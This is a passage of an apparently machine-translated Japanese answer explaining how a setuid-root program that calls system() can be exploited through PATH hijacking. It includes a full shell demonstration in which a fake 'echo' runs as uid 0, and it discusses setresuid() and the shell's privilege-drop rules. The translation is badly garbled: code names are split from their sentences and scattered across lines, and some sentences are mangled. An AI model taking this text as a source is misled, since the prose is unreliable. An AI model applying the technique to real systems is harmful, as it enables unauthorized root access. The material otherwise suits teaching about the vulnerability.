PATH
のカスタムバージョンを含むディレクトリを指すように変数をオーバーライドできます。はを使用しecho
てecho
実行さenv
れるため、組み込みとしては扱われません。
これは、コードが特権ユーザーとして実行されている場合にのみ脆弱性を構成します。
以下の例では、ファイルvcに質問のコードが含まれています。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
setresuid()
質問に投稿された脆弱なコードでの呼び出し前の呼び出しによる実際のユーザーID、有効なユーザーID、および保存されたset-user-IDの設定により、system()
有効なユーザーIDのみがに設定されている場合でも脆弱性を悪用できることに注意してください特権ユーザーIDと実際のユーザーIDは非特権のままです(たとえば、上記のようにファイルのset-user-IDビットに依存する場合のように)。setresuid()
によって実行されるシェルへの呼び出しがないとsystem()
、有効なユーザーIDが実際のユーザーIDにリセットされ、エクスプロイトが無効になります。ただし、脆弱なコードを特権ユーザーの実際のユーザーIDで実行する場合は、system()
呼び出しだけで十分です。sh
マニュアルページの引用:
有効なユーザー(グループ)IDが実際のユーザー(グループ)IDと等しくない状態でシェルが開始され、-pオプションが指定されていない場合、スタートアップファイルは読み取られず、シェル関数は環境から継承されません。SHELLOPTS変数が環境に表示されている場合は無視され、実効ユーザーIDは実際のユーザーIDに設定されます。呼び出し時に-pオプションが指定された場合、起動動作は同じですが、有効なユーザーIDはリセットされません。
setresuid()
また、それは移植性がないことに注意してくださいが、setuid()
またはsetreuid()
同じ効果に使用される可能性もあります。